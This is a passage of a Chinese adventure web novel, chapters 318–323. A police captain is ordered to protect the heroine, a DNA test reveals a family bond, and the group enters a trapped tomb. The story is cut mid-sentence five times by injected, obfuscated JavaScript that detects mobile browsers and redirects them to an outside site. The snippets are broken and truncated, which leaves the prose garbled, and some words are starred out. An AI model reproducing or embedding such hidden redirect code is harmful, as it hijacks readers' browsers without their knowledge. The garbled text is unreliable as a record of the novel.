他正要开口理论,萧秀雅却连个正眼都没给他,已经开始指挥同来的几个穿白大褂的“研究员”,准备进洞。 “站住!”张队咬牙拦在洞口,“没有我的命令,谁也不准进去!” 萧秀雅终于转过头,眼神像在看个不懂事的孩子:“张队长,你要违抗命令?这个责任,你担得起吗?” 第318章 她的文件是假的 张队被噎得说不出话。 他一个地方小队长,怎么跟这种带着“上头”文件的人抗衡? 就在他进退两难,几乎要妥协的瞬间,一道沉冷的声音,忽然从旁边的山林里传来。 “她的文件是伪造的。” 众人循声望去。 只见一个高大的男人不知何时出现在了人群外围,他穿着身洗得发白的旧夹克,神情平静,可众人却一下子眼睛都亮了。 来的不是别人,正是之前曾经带着他们破过大案的那位省厅领导,罗正松! 张队心头一跳,他没想到会在这里见到这位老领导。 “罗厅,您怎么来了!”张队激动地迎上去。 萧秀雅的脸色,在看到罗正松的刹那,霎时变得古怪起来。 张队很敏感,立刻就看得出来这两个人之前就认识,而且关系还不一般。 但不要紧,他只信任罗厅,至于这个女人……虽然长得很好看,但一看就不是什么好人。 “你来干什么!”萧秀雅脸色一沉。 罗正松没有理她,只是看着张队:“她的文件是假的。她和刚才跑掉的那个萧玦是一伙的,他们想毁了这里。” 没等萧秀雅反驳,罗正松已经动了。 他动作快得不像个常年待在办公室的中年男人,三两步上前,伸手一错,就将萧秀雅的胳膊反剪在身后,顺势从她包里夺过了那份文件。 “你放开我!罗正松!你疯了!”萧秀雅剧烈挣扎,仪态尽失。 张队虽然惊讶罗正松的出现和他的举动,但内心深处,一股莫名的踏实感油然而生。 他上前一步,皱眉看向萧秀雅,又看向罗正松手中的文件。 “罗厅,这……”他下意识地压低声音,语气里带着几分担忧,“这可是上头的……” “张队,你仔细看看这份文件。”罗正松打断他,声音依旧平稳,“再看看她那些所谓的研究员,他们身上有土腥味,没有书卷气。” “我一直追踪着他们的,他们的文件确实是伪造的,上头从没有发过这些文件。” “而真正想保护这里,搞研究的人……其实是你一直在追查的,那个偷走佛手的女人。” 罗正松将那份伪造的文件随手扔在地上。 “罗正松!你敢动我!你知道后果吗!” 萧秀雅自从儿子罗小胖死后,已经跟罗正松彻底**了,如今在他面前,也没必要再伪装优雅。 她干脆利落地叫骂起来。 “你动我,我背后的人,你也惹得起吗,一个小小的厅长,你还能一手遮天不成!” 罗正松充耳不闻,他反剪着萧秀雅的手力道沉稳,像拎着一只聒噪的鸡。 他看向旁边那几个白大褂,眼神平静无波,吐出两个字:“拿下。” 那几个所谓的“研究员”脸色煞白,本想反抗,可对上罗正松那双仿佛能洞穿一切的眼睛,再看看旁边早已把枪口对准他们的警察,瞬间腿软了半截,没费什么功夫就被缴了械,摁倒在地。 现场顿时安静下来,只剩下萧秀雅徒劳的咒骂和歹徒们的呻吟。 张队脑子里还是懵的。 这反转来得太快,他看着被制服的萧秀雅,又看看地上那份盖着鲜红印章的“上级文件”,只觉得后背发凉。 差一点。 就差一点,他就信了这女人的鬼话,把弟兄们拼了命保下来的地方拱手让人。 他走到罗正松身边,声音都有些发干:“罗厅……这到底……怎么回事?” “跑掉的那个叫萧玦,京城来的,我想你也应该听过他。他们是一伙的。”罗正松言简意赅,“他们不是想研究这里,是想毁了这里。” “至于那个偷佛手的……她们不是偷。”罗正松纠正道,“张队,这个案子比你想象的要复杂,牵扯到三十年前的一桩旧案。” 他松开萧秀雅,旁边的警员立刻上前将她铐了起来。 罗正松拍了拍手,走到张队面前,神情严肃:“我知道你有很多疑问,但现在不是解释的时候。我需要你帮我做一件事。” “罗厅您说!”张队立刻站直了身体,像个等待命令的士兵。 在他心里,罗正松就是定海神神针 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15951400|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。只要有他在,天大的案子都有主心骨。 “秦绵绵、林鸢她们,现在应该正在去黔南的路上。”罗正松说出了个地名。 “她们去那儿干什么?”张队懵。 不是,也不应该问这个,好像该问为什么秦小姐会跟林鸢在一起吧。 怪不得他们找了这么多天都没找到林鸢的踪迹,搞了半天是秦小姐把她藏起来了。 弄不好还就藏在景区客栈里! 怪不得他们找不到,灯下黑啊! 罗正松却不知道他心里这些弯弯绕绕,只是接着说下去。 “他们是去找东西……找能解开所有谜团的钥匙,也是能真正保护好这些佛像的关键。”罗正松的眼神深邃,“而萧家的人,也一定在追查她们的下落。我需要你抢在萧家前面找到她们。” 张队一愣,随即明白了:“我马上去申请跨省追捕!” “不。”罗正松摇头,“不是追捕。” 他看着张队,一字一句地说道:“明面上,你是去追捕她们的。但实际上,你的任务是保护她们,甚至在必要的时候,协助她们。” 张队的眼睛猛地睁大,嘴巴张了张,半天没发出声音。 这……这叫什么事? 让他一个刑侦队长,去给“嫌疑人”当保镖? “这是命令。”罗正松的语气不容置喙,“对方势力很大,手段狠辣,只有你带人跟在她们身边,才能确保她们的安全,也才能让那把‘钥匙’,最终落到我们手里。” 张队看着罗正松坚定的眼神,心里的惊涛骇浪慢慢平息下来。 **罗厅在布一个什么样的局,但他知道,自己只需要执行。 他狠狠地点了点头,牙关咬紧:“是!保证完成任务!” …… 通往黔南的国道上,一辆不起眼的越野车正在飞驰。 秦绵绵坐在后座,眼睛一直看着窗外飞速**的景物,可她的视线根本没有焦距。 她的脑海里,全是那个阴暗的马厩,全是裴应见被踩在脚下,满脸血污却还要卑微讨好地叫着“主人”的画面。 第319章 抄家伙 心,像被一只无形的手攥着,每一次收紧,都疼得她无法呼吸。 林鸢在开车。 她从后视镜里看了秦绵绵一眼,嘴唇动了动,最终还是什么都没说。 姚祁坐在副驾,几次想开口说些什么,但看到秦绵绵的样子,话到嘴边,又都咽了回去。 只有姜敬意,浑身不自在地在后座挪来挪去,小声嘟囔:“我说,咱们这是去寻宝还是逃难啊?好歹说句话啊。” 没人理他。 车子驶入一个县城,准备加油休整。 就在车子拐进加油站的瞬间,一辆警车毫无征兆地从侧面冲了出来,一个漂亮的甩尾,稳稳地横在了他们车前,堵**去路。 刺耳的刹车声,划破了小城的宁静。 车门打开,几个穿着便衣但身形剽悍的男人迅速下车,将他们的越野车团团围住。 为首的,正是张队。 他嘴里叼着根烟,眯着眼,重重地敲了敲林鸢那侧的车窗。 林鸢的脸色“唰”地白了。 她下意识就去挂倒挡,可后视镜里,另一辆车已经无声无息地堵住了退路。 “完了完了!”姜敬意声音都变了调,“这下真成逃难的了!要被抓了!” “都别动!”林鸢低喝一声,眼中闪过一丝狠戾。 跑不掉了。 她非但没熄火,反而一脚踩住刹车,另一只手已经摸向了座椅下的扳手。 “抄家伙。”她对后座的人冷冷地说道。 姚祁的身体瞬间紧绷,下意识地将秦绵绵往自己身后拉了拉。 车窗外的张队皱起了眉,他看出了车里剑拔**张的气氛,又重重地敲了敲玻璃:“林鸢!开门!别逼我砸窗!” 林鸢嗤笑一声,非但没开,反而朝姜敬意递了个眼色。 就在车内气氛凝固到冰点,一场冲突一触即发时,始终沉默的秦绵绵忽然开口了。 她的声音很轻,却异常清晰。 “让他上来。” 林鸢一愣:“绵绵,他们是条子!” 秦绵绵的目光越过她,直直地看着窗外的张队,眼神里没有恐惧。 “他应该不是来抓我们的。” 车内死一般的安静。 张队在外面也听见了这句,叼着烟的嘴角抽了抽,心里骂了句娘。 他拉开车门,对自己的手下摆了摆手,示意他们退开,然后自己坐进了越野车的后座。 “你怎么知道?”张队把那根没点的烟取下来,捏在手里。 “要抓我们,不会只来这点人,也不会是你亲自带队。”秦绵绵的声音没有一丝波澜,“说吧,什么事。” 张队看了一眼开车绷着脸的林鸢,又看看一脸劫后余生的姜敬意,最后目光落在秦绵绵身上,叹了口气。 “是罗厅让我来保护你们。”他压低声音,“明面上,我是来抓捕文物**犯林鸢归案。实际上,萧家的人也在找你们,我得抢在他们前头。” 众人都很意外。 但想了想,又觉得不是很意外。 罗小胖死后,罗正松也没跟她们再联系过。 但这并不妨碍她们把罗正松当成自己人。 而他会关注着他们,也就不奇怪了。 误会解开,车里的气氛却并未轻松多少。 “保护我们?”林鸢从后视镜里看着他,语气不善,“然后把佛头也顺理成章地收归国有?” 这回换成张队懵了。 “佛头?你偷的不是个佛手吗?” “不管什么吧。”张队有些烦躁地抓了抓头发,“我只听罗厅的。他说,你们在找一把钥匙,能解开所有谜团的钥匙。” “我们在找的确实是一个佛头。”秦绵绵想了想,直截了当地说,“这尊佛头就是后山石窟大佛上的,那尊佛手也是。这佛头当年被人盗走,然后被我外婆买下,我外婆怕护不住它,又把它卖给了一个可靠的人。我们现在正在找这条线,我要找到它……去救人。” 救人? 张队一愣,但看秦绵绵那副样子,就知道这里面的水比他想的还深。 他没多问,只是点了点头:“你们查到哪了?” “我外婆当年来过黔南的榕江县,之后线索就断了。”秦绵绵把那张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15951401|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 写满地名的纸递给他,“你们路子广,帮我查查当年她在榕江,接触过什么人。” 张队立刻明白了她的意思。 十几年前,文物贩卖远没有现在这么严,很多珍贵的物件都是通过那些走村串寨的盗墓贼,一级一级流出去的。 他当即拿出手机,拨了个号码出去。 “喂,老周,帮我查个事……对,十几年前,榕江县……” 有了警方的介入,效率天差地别。 不到半小时,电话就回了过来。 挂了电话,张队的脸色变得有些古怪。 “查到了。”他看着秦绵绵,“你外婆在这里接触过一个人,姓万,他明面上是个采药人,实际上是个倒斗的。但他很多年前就失踪了,这么多年再也没有过消息。不过他有个徒弟,当年跟着他一起混,后来金盆洗手,回老家开了个寿衣店。” “在哪儿?”秦绵绵立刻追问。 张队吐出两个字。 “荔波。” …… 越野车抵达荔波县城时,天色已经擦黑。 空气潮得能拧出水,混杂着水汽和青苔的味道。 老旧的骑楼下,店铺的光影斑驳陆离,与现代都市格格不入。 张队指挥着车子停在街角一处暗影里,自己下了车。 “我和秦小姐过去,你们几个留在车里,放风。”他回头交代了一句。 林鸢和姚祁留下,姜敬意看着外面那条阴森森的老街,缩了缩脖子,嘟囔了一句“这地方邪乎,小心点”。 张队已经通过当地的系统锁定了目标——一家叫“往生堂”的寿衣店。 那门面在整条街上都显得突兀,黑漆漆的木板门,门口挂着两盏惨白的灯笼,幽幽地亮着,像两只没有瞳孔的眼睛。 秦绵绵跟着张队,推开了那扇虚掩的木门。 一股混杂着纸钱、劣质香烛和陈腐木料的霉味,扑面而来。 店里光线昏暗,只有角落里点着一盏昏黄的灯。 一个瘦削得像竹竿的中年男人,正背对着门口,坐在小马扎上,慢条斯理地扎着一个纸人。 第320章 她就是那个婴儿 听到动静,他头也没抬,声音沙哑得像被砂纸磨过:“买东西自己看,选好了叫我。” 秦绵绵走到他身边,直接说明了来意:“我们想打听一个人,十几年前,一个姓万的采药人。” 男人手里粘着纸人胳膊的动作,顿了一下。 他缓缓抬起头,露出一张几乎没有血色的脸,一双眼睛在昏暗的光线下,显得格外阴鸷。 “不认识,出去。” 张队往前一步,从怀里掏出证件在他面前晃了晃,语气强硬:“警察办案,希望你配合。” 男人看了那证件一眼,嘴角扯出一个冰冷的弧度。 “警察了不起?”他冷笑,“这是我的店,不欢迎你们。” 这顽固的态度,让张队火气上涌。 他正要发作,男人却已经站了起来,那身形看似单薄,可站直了却透出一股子不好惹的戾气。 身为刑警张队可对这种戾气再熟悉不过了。 说时迟那时快,张队伸手就去抓他的肩膀,男人却像背后长了眼睛,身子一矮一旋,躲开的同时,手肘已经朝张队的肋下狠狠顶来! 张队反应也是极快,侧身格挡,两人瞬间就在这狭小的空间里缠斗起来。 男人下手又快又狠,招招都是冲着要害,完全不像个普通的店铺老板。 眼看张队被男人一记刁钻的肘击逼得连退两步,气息一窒,秦绵绵不再犹豫。 她一个箭步上前,没有丝毫花哨的动作,手掌化刀,径直劈向男人持着纸扎工具的手腕。 男人仿佛脑后长眼,头也不回,身体诡异地一扭,竟用肩膀硬生生扛下了这一击。 沉闷的撞击声里,他借力反旋,另一只手抓起旁边小桌上的一个纸人,狠狠朝秦绵绵的脸上砸来。 纸人轻飘飘的,但被他灌注了力道,带起一阵阴风。 更致命的是,纸人之后,藏着他屈指成爪的五指,直取她的眼睛。 秦绵绵侧头躲开,那男人的攻击却如影随形。 狭小的店铺内,顿时乱作一团。 他身形瘦削,却滑得像条泥鳅,在秦绵绵和张队的夹击中辗转腾挪。 他的招式毫无章法,却招招狠辣,专攻人体的脆弱关节和要害。 桌上的剪刀、地上的马扎,任何能拿到手的东西都成了他的武器。 张队是警队练出来的格斗好手,讲究一招一式制服对手,可面对这种街头烂仔般的亡命打法,一时间竟束手束脚。 三人缠斗在一起,撞翻了货架,纸钱、元宝撒了一地,谁也奈何不了谁,竟是生生陷入了僵局。 突然—— 嗡……嗡…… 秦绵绵口袋里的手机,剧烈地振动起来。 她掏出手机,屏幕上亮着一条新消息,是姚祁发来的。 点开,是一份电子文档。 DNA亲子鉴定报告。 她的手指划过屏幕,直接拉到最后。 报告的最终结论处,一行加粗的黑字。 【根据DNA分析结果,支持秦绵绵与林鸢存在生物学姑侄(或姨甥)血缘关系。】 秦绵绵的呼吸,有那么一瞬间的停滞。 她就是那个胎记婴儿。 她就是林鸢失散多年的小侄女。 她猛地抬头,目光穿过布满灰尘的店门玻璃,望向街角那辆越野车。 车里,林鸢同样握着手机,那个曾经无论面对什么都冷静狠戾的女人,此刻身体正不受控制地剧烈颤抖,像一片风中残叶。 四目相对。 时间仿佛被拉成了一条无限长的丝线。 下一秒,越野车的车门被猛地推开。 林鸢疯了一样冲下车,不顾一切地朝寿衣店扑来。 店里,僵持的局面被这突如其来的一幕打破。张队和那瘦削男人都愣住了,下意识地停了手。 “砰!” 林鸢撞开木门,冲了进来。 她眼里没有别人,没有警察,没有那个凶狠的店主,只有秦绵绵。 她一把将秦绵绵死死抱住,那力道大得像是要将她揉进自己的骨血里。 滚烫的眼泪瞬间浸湿了秦绵绵的肩头,压抑了十多年的哭声,终于在此刻撕心裂肺地爆发出来。 “找到了… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我外婆当年拿来的是一个佛头,对不对?她把佛头卖给了你师父,对不对?现在佛头在哪儿?!” 第321章 到底谁去送死? 男人却像是卸下了扛了十几年的重担,整个人都垮了下来。 “不是交易……”他颓然地坐倒在小马扎上,喃喃自语,“是托付……是托付啊……” 他告诉众人,他的师父,那个叫万老头的采药人,当年确实从秦绵绵外婆手里接过了佛头。但那不是买卖,而是郑重的托付。 万老头虽然倒斗,却因为一些缘故,金盆洗手好几年了,而且因为不能说的某些缘故,他那个时候不仅不倒卖文物,反而开始在私底下做一些保护文物的事。 这也是秦家外婆最终会找上他的原因。 得知这佛头是被盗来,又被秦家外婆拼命买下的,万老头很动容,当即答应了帮她保管。 可等秦家外婆走后,万老头却发现,那尊佛头拥有某种“邪性”,能侵染人的心智,让人变得疯狂、偏执。 他震惊不已,为了不让这东西流出为祸人间,他做了一个疯狂的决定。 他将自己和那尊佛头,一起封在了一座谁也找不到的古墓里。 他留下遗言,这世上,只有当“佛陀另一只手”的执掌者出现时,才能找到他,开启封印。 而开启封印的方法,他只告诉了自己的徒弟——眼前的寿衣店老板,钱小乙。 “我师父的墓,就在……” 钱小乙深吸一口气,正要说出那个埋藏了十几年的地名。 “砰——!” 寿衣店那本就摇摇欲坠的木门,被人一脚从外面狠狠踹开! 两道人影风风火火地冲了进来,带着一路的风尘与焦灼。 “掌柜的!” 竟然是朱七妹和叶子舟。 他们不放心,竟真的一路打听着追到了这里! 叶子舟一眼就看到了被张队和另一个陌生男人围在中间的秦绵绵,又看到林鸢满脸泪痕,现场一片狼藉,立刻疯了一般冲上前,怒吼一声:“你们放开她!” 他根本不给任何人解释的机会,像一头发了疯的蛮牛,抡起拳头就朝离他最近的张队脸上砸去! “子舟!别动!” 就在这千钧一发之际,跟在后面的朱七妹一个箭步上前,死死地从后面抱住了叶子舟的腰,用尽全身力气将他向后拖。 “你看清楚!情况不对!” “不对个屁!他们要抓绵绵!”叶子舟还在疯狂挣扎。 秦绵绵忙站起身,拉了两人往外走。 到了屋外,秦绵绵终于解释清了这到底是怎么回事。 叶子舟羞赧地挠挠头:“不好意思,我没问清楚就冲上去了……” 朱七妹无语:“你平常不是挺沉稳的么,怎么今天……” 秦绵绵也看了一眼叶子舟,眼里闪过一丝异样,但她没说什么,反而问起了他们为什么会来这里。 两人便说姜芙过来了客栈,得知秦绵绵去做这么惊天动地的事,她立刻也吵着想一起来。 但他们怎么可能会同意,可姜芙不依不饶,还说秦绵绵身边人手不够,只怕会遇险,于是软磨硬泡,撵了力大无穷的朱七妹和智慧无双的智囊叶子舟来帮忙。 他们也担心秦绵绵,于是也就联系上了姚祁,得知了具体位置,星夜兼程地赶了来。 至于客栈那边,有姜芙和房小雪,还有赵立生暂时帮忙看管着。 秦绵绵叹口气,朝姚祁的方向瞪了一眼。 如果她知道,她肯定是不会答应他们来的,这一路很危险,多一个人,就多一份危险。 但如今人已经来了,她也不好再说什么,于是带着人进了屋子,继续听钱小乙说。 姜敬意和姚祁也从车上下来,一众人再次围住钱小乙。 误会解开,叶子舟那股子冲脑的蛮劲儿总算退了下去,脸上红一阵白一阵,对着张队一个劲儿地挠头。 “不好意思啊警官,我……我太冲动了……” “这人平常挺斯文的,不知道怎么回事今天跟吃了枪药似的。”朱七妹在一旁没好气地帮他解释。 叶子舟没吭声,只是扭头看向秦绵绵,眼神里除了歉意,还有一种不容置喙的执拗。 姚祁也敏锐地发觉了叶子舟似乎不太对劲,多看了他好几眼。 钱小乙看看众人: “你们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15967030|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么些人,到底谁去?” 不等秦绵绵回答,叶子舟就抢先说话。 “掌柜的,我跟你一起去。”不等秦绵绵拒绝,又补了一句,“我爷爷那张欠条是这一切的起因,我不能让你一个人去冒险。” 朱七妹也上前一步,拍了拍自己结实的胸脯:“还有我,多个人多份力气。” 秦绵绵看着他们俩,风尘仆仆,眼底带着血丝,显然是一路追来没怎么合眼。 她心里一暖,又觉得头疼。 但很显然其他人也都是这么想的。 很快,姜敬意,林鸢,姚祁也都表了态。 他们也要一起去。 钱小乙带着一丝讥诮看着这一幕,半晌,才慢悠悠地从一堆纸钱底下,摸索出一样东西,随手扔在了柜台上。 “啪”的一声轻响。 那是一块不知用什么兽皮硝制成的布帛,颜色暗黄,边缘已经卷曲破损,上面用朱砂画着几条凌乱的线条,像小孩子的涂鸦。 “墓在‘月亮山’的天坑底下。但这图是残的,入口机关设得有多凶,我师父没说,他只说进去,就再也出不来了。” 他抬起那双阴鸷的眼,扫过在场的每一个人,最后扯出一个森然的笑。 “你们想清楚,”他一字一顿地问,“到底谁去送死?” 空气瞬间凝固。 “月亮山”天坑,是本地无人不知的凶地,传说掉下去的牲口都找不到骨头。 就在众人被他话里的寒意镇住,心头惴惴时—— 嗡……嗡…… 一阵急促的手机震动声,打破了店里的死寂。 是张队的手机。 他看了一眼来电显示,脸色骤变,立刻走到门外去接。 他压着嗓子,语速极快:“罗厅……是……我们找到了……什么?!” 几秒后,张队挂了电话,脸色难看到了极点,大步走回屋里。 “罗厅的加密来电。”他声音发紧,盯着秦绵绵,“萧家的人已经到荔波了,动用了当地的关系网,正在全城搜捕你们!我们还有最多半小时!” 第322章 想死就上去 半小时! 这个时间像一把铡刀,悬在了所有人的头顶。 姜敬意吓得脸都白了:“那……那我们快跑啊!” “跑?”钱小乙嗤笑一声,“整个荔波都是人家的眼线,你们能跑到哪儿去?” 绝境。 前有凶险古墓,后有索命追兵。 所有人的目光,都下意识地投向了秦绵绵。 秦绵绵的视线从那张简陋的兽皮地图上抬起,掠过一张张或焦灼、或恐惧、或坚定的脸。她没有丝毫慌乱,那双眼睛在昏暗的灯光下,亮得惊人。 “我们进古墓。” 她的声音不大,却像一颗定心丸,瞬间砸进了众人慌乱的心里。 她看向张队,语速极快地安排:“张队,你和你的人在外面,想办法把萧家的人引开,拖住他们。” 然后,她的目光转向钱小乙。 “钱老板,”秦绵绵的语气不是商量,而是不容置喙的命令,“你得跟我们一起进去。” 钱小乙闻言,竟没有反抗。 他只是长长地、长长地叹了一口气,仿佛卸下了什么扛了十几年的重担,又仿佛只是在迎接一个等待了许久的宿命。 他点了点头,算是应了。 秦绵绵最后环视一周,她的家人,她的朋友,她的盟友。 林鸢、姚祁、姜敬意,新加入的叶子舟和朱七妹,还有被迫带路的钱小乙。 七个人,一支临时拼凑起来的探墓队伍。 “事不宜迟。”秦绵绵抓起柜台上的兽皮地图,塞进口袋。 “我们现在就出发。” …… 张队看了一眼手机屏幕上跳动的时间,不再废话,冲着秦绵绵重重一点头,转身就走。 “都上车!快!”他对着自己的手下低吼,动作利落得像一头猎豹。 两辆车,一前一后,几乎是同时发动。 刺耳的轮胎摩擦声划破夜色,张队的车猛地调头,故意在街口亮了亮车灯,随即朝着与月亮山完全相反的方向,绝尘而去。 秦绵绵一行人则钻进越野车,钱小乙坐在副驾,用那骨头架子一般瘦削的手指,在黑夜里指着方向。 “左边,上那条小路。” 越野车驶离县城,一头扎进了黢黑的山野。 车里死一般的寂静。 崎岖的山路颠簸得厉害,车灯所及之处,尽是张牙舞爪的树影和深不见底的沟壑。 姜敬意脸色泛白,嘴里小小声念叨:“好家伙,真深啊,这要是翻下去,连个收尸的都没有……” 没人理他。 林鸢坐在秦绵绵身边,一只手始终紧紧攥着她的手,那力道像是要将自己的体温全部渡给她。她的目光不再是之前的崩溃,而是一种淬了火的坚韧,死死盯着窗外飞速**的黑暗。 叶子舟坐在另一侧,身体绷得像一张拉满的弓,眼神直勾勾地看着前方,那股子从寿衣店里就冒出来的蛮劲儿,非但没散,反而愈发浓重。 不知过了多久,钱小乙那砂纸般的声音响起。 “停。” 车子在一片相对平缓的空地刹住。 车门打开,一股阴冷潮湿的山风瞬间灌了进来,带着浓重的腐殖气息。 众人下了车,才发现他们正站在一处悬崖的边缘。 脚下,便是月亮山最负凶名的天坑。 那是一个巨大无朋的黑色窟窿,深不见底,浓重的雾气在其中翻滚、缭绕,像是巨兽沉睡时的呼吸。 站在边缘往下看,连风声都被吞噬了,只剩下让人头晕目眩的死寂。 “……这就是天坑?”朱七妹都忍不住咽了口唾沫,“掉下去怕是真找不到骨头了。” 钱小乙没理会众人的震惊,他走到悬崖边,佝偻着背,在一片被藤蔓和青苔覆盖的石壁上摸索起来。 他的动作很慢,像是在遵循某种刻在骨子里的记忆。 终于,他的手停在一块毫不起眼的凸起上,猛地向内一按。 “咔……咔咔……” 一阵令人牙酸的机括摩擦声响起。 那片严丝合缝的石壁,竟缓缓向内凹陷,沉闷地打开了一个仅容一人通过的洞口。 一股更加阴冷、陈腐的气息从洞内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15970740|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喷涌而出,像是被囚禁了数十年的怨气。 “走吧。”钱小乙率先钻了进去,声音在洞里显得空洞而诡异,“不想被追你们的人堵在外面当靶子,就快点。” 众人不敢耽搁,鱼贯而入。 秦绵绵是最后一个。 她刚一踏进洞穴,还没站稳—— “轰隆!” 身后的石门毫无征兆地轰然关闭,巨响在甬道里激起回声,震得人耳膜嗡嗡作响。 唯一的退路,断了。 洞内瞬间陷入了伸手不见五指的黑暗,只有几人打开的手机电筒,射出几道在黑暗中晃动、随时都会熄灭的光柱。 甬道极其狭窄,两侧的石壁湿滑黏腻,布满了厚厚的青苔,脚下是坑洼不平的泥路。 空气里那股子泥土和什么东西腐烂掉的味道,浓得几乎让人窒息。 所有人都下意识地屏住了呼吸,只剩下压抑的脚步声和粗重的喘息。 在钱小乙的带领下,一行人深一脚浅一脚地走了约莫百来米,前方豁然开朗。 一个巨大的地下溶洞出现在眼前,而横在他们面前的,是一条深不见底的裂谷。 裂谷宽约七八米,黑漆漆的,看不清底下是什么,只听得到隐约的水流声。 而在裂谷上方,悬着三四条手臂粗细的铁索,连接着这边和对岸。 铁索上虽然锈迹斑斑,看着倒是颇为结实。 “看来得从这上面过去了。”姚祁用手电照了照,皱眉道。 叶子舟二话不说,抬脚就要往铁索上踩:“我先过去探路!” “别动!”钱小乙一把拉住他,声音里第一次带上了急切,“想死就上去!” 他扯出一个森然的冷笑,用手电照着那几条铁索: “这是‘断魂索’,看着结实,实际上是陷阱。这索链的机括连在一起,只要承重超过一个成年男人的分量,就会立刻全部崩断!到时候,谁在上面都得掉下去!” 此话一出,众人倒吸一口凉气。 姜敬意更是吓得腿一软,差点坐倒在地:“我……我的妈呀,这也太阴毒了!” 第323章 大力朱七妹 这下,所有人都束手无策了。 飞是飞不过去的,铁索又是陷阱。 难道第一关,就要把他们所有人都困死在这里? 就在众人一筹莫展,连秦绵绵都开始思索还有没有别的机关时,一直沉默的朱七妹忽然走到了裂谷边缘。 她没看那要命的铁索,而是用手电仔仔细细地打量着对面裂谷的岩壁结构。 所有人的目光都集中在她身上,不知道她要干什么。 只见朱七妹忽然转过身,走到甬道口旁边,盯着一块足有半人高、怕不是有上百斤的巨石。 “姐姐,你……”姚祁刚想问。 下一秒,他便把话咽了回去。 朱七妹深吸一口气,双臂环抱住那块巨石,脸憋得通红,脖子上青筋暴起。 “呵!” 伴随着一声沉闷的低吼,那块上百斤的巨石,竟被她硬生生地从地里拔了起来,抱在了怀里! “我……去!”姜敬意眼珠子都快瞪出来了。 在所有人目瞪口呆的注视下,朱七妹抱着那块与她身形完全不符的巨石,一步一步,沉重地走回裂谷边缘。 她双腿岔开,稳住下盘,腰腹猛然发力,用尽全身的力气,将怀里的巨石朝着对岸,狠狠地扔了出去! “呼——” 巨石带着恐怖的风声,在空中划过一道抛物线。 “轰隆——!!!” 震耳欲聋的巨响传来。 巨石精准地砸在对岸的岩壁上,那片看似坚固的岩壁竟被砸得瞬间崩塌,无数碎石“哗啦啦”地滚落进深渊。 烟尘散去,众人借着手电光看去,全都傻了。 原本空无一物的对岸,竟被这一下,硬生生砸出了一片坍塌的斜坡,碎石堆积,虽然崎岖,却堪堪与这边连接,形成了一座最原始、最简陋,也最匪夷所思的“桥”。 这种完全不按常理出牌的暴力破局方式,让在场所有人,包括一直冷眼旁观的钱小乙,都呆立当场。 古墓里精巧致命的陷阱,几千年来不知吞噬了多少生命。 谁能想到,今天,会被一个女人用这种最野蛮的方式,给破了。 众人齐刷刷地扭过头,看着那个正甩着胳膊、气喘吁吁的朱七妹,眼神里充满了颠覆性的震撼。 碎石堆成的斜坡,在手电筒的光柱下,粗糙而丑陋,却又带着一种野蛮的安全感。 “我……我的妈呀……”姜敬意扶着墙,两条腿还在打摆子,他看着对面那个还在往下掉碎石的豁口,又看看正撑着膝盖大喘气的朱七妹,结结巴巴地开口,“这……这墓主人也太不讲究了,合着就等咱们自己动手呢?” 没人笑得出来。 钱小乙那张没有血色的脸,在幽暗的光线下,显得愈发阴沉。 他盯着那座被暴力开辟出的“桥”,眼神里第一次没了那种事不关己的讥诮,反而透着一股浓重的忧虑。 “你们破坏了这里的‘平衡’。”他嗓音干涩地开口,“后面的路,会更凶险。” 这话像一盆冰水,浇在众人刚刚升起的一点劫后余生的庆幸上。 有惊无险地通过裂谷,一行人继续向甬道深处走去。 这里的甬道比入口处宽敞了些,但那股子混杂着泥土、腐烂物和石灰的怪味儿却更重了。 走了没多远,秦绵绵的手电光扫过墙壁时,停住了。 石壁上,有利器划过的痕迹。 